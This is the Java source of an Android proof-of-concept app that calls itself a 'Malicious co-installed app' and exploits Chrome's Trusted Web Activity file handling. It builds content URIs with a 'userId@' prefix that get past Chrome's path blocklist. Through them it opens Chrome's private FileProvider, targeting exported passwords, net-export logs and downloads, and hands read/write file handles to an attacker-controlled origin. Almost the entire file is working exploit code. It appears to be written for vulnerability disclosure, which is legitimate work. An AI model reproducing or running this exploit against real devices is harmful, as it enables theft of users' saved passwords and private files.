package com.attacker.twapoc;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Process;
import android.os.UserHandle;
import android.os.UserManager;
import android.util.Log;

import androidx.browser.customtabs.CustomTabsCallback;
import androidx.browser.customtabs.CustomTabsClient;
import androidx.browser.customtabs.CustomTabsServiceConnection;
import androidx.browser.customtabs.CustomTabsSession;
import androidx.browser.trusted.FileHandlingData;
import androidx.browser.trusted.TrustedWebActivityIntent;
import androidx.browser.trusted.TrustedWebActivityIntentBuilder;

import java.util.ArrayList;
import java.util.Arrays;

/**
 * Malicious co-installed app.
 *
 * Fires a Trusted Web Activity intent at Chrome carrying a
 * FileHandlingData payload whose content URI uses the Android
 * multi-user "userId@authority" syntax to point at Chrome's own
 * non-exported FileProvider.
 *
 * Chrome's IsSensitivePath() / CheckPathAgainstBlocklist() compare the
 * literal string against "content://<chrome_pkg>." after percent-decoding
 * only, so "content://0@<chrome_pkg>.FileProvider/..." passes the check.
 * Android's ContentResolver later strips the "0@" before resolving the
 * provider, so Chrome opens its own private FileProvider on our behalf
 * and hands our page a read+write FileSystemFileHandle.
 */
public class MainActivity extends Activity {

    private static final String TAG = "TwaPoc";

    // Change to match the installed Chrome channel
    // (com.android.chrome / com.chrome.beta / com.chrome.dev /
    //  com.chrome.canary / org.chromium.chrome).
    private static final String CHROME_PKG = "com.android.chrome";

    // Attacker-controlled HTTPS origin that this APK is DAL-linked to
    // (see attacker-server/.well-known/assetlinks.json).
    private static final String ATTACKER_URL = "https://attacker.example/handler.html";

    private CustomTabsServiceConnection mConn;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        mConn = new CustomTabsServiceConnection() {
            @Override
            public void onCustomTabsServiceConnected(ComponentName name,
                                                     CustomTabsClient client) {
                client.warmup(0);
                CustomTabsSession session =
                        client.newSession(new CustomTabsCallback() {});
                fire(session);
            }

            @Override
            public void onServiceDisconnected(ComponentName name) {}
        };
        CustomTabsClient.bindCustomTabsService(this, CHROME_PKG, mConn);
    }

    private void fire(CustomTabsSession session) {
        long userId = currentUserId();

        // Any path under chrome/android/java/res_template/xml/file_paths.xml
        // works: passwords/, cache/ (net-export), traces/, pdfs/, webapks/,
        // offline-cache/, downloads/.
        ArrayList<Uri> targets = new ArrayList<>(Arrays.asList(
                Uri.parse("content://" + userId + "@" + CHROME_PKG
                          + ".FileProvider/passwords/exported.csv"),
                Uri.parse("content://" + userId + "@" + CHROME_PKG
                          + ".FileProvider/cache/chrome-net-export-log.json"),
                Uri.parse("content://" + userId + "@" + CHROME_PKG
                          + ".DownloadFileProvider/downloads/secret.pdf")));

        TrustedWebActivityIntentBuilder builder =
                new TrustedWebActivityIntentBuilder(Uri.parse(ATTACKER_URL))
                        .setFileHandlingData(new FileHandlingData(targets));

        TrustedWebActivityIntent twa = builder.build(session);
        Intent intent = twa.getIntent();
        intent.setPackage(CHROME_PKG);

        Log.i(TAG, "Launching TWA with payload: " + targets);
        startActivity(intent);
    }

    /**
     * Same value Android's ContentProvider.checkUser() will compare against
     * (so the embedded userId always matches Chrome's own user and no
     * INTERACT_ACROSS_USERS permission is required).
     */
    private long currentUserId() {
        try {
            UserManager um = (UserManager) getSystemService(Context.USER_SERVICE);
            return um.getSerialNumberForUser(Process.myUserHandle());
        } catch (Throwable t) {
            return 0;  // Primary user.
        }
    }

    @Override
    protected void onDestroy() {
        if (mConn != null) unbindService(mConn);
        super.onDestroy();
    }
}
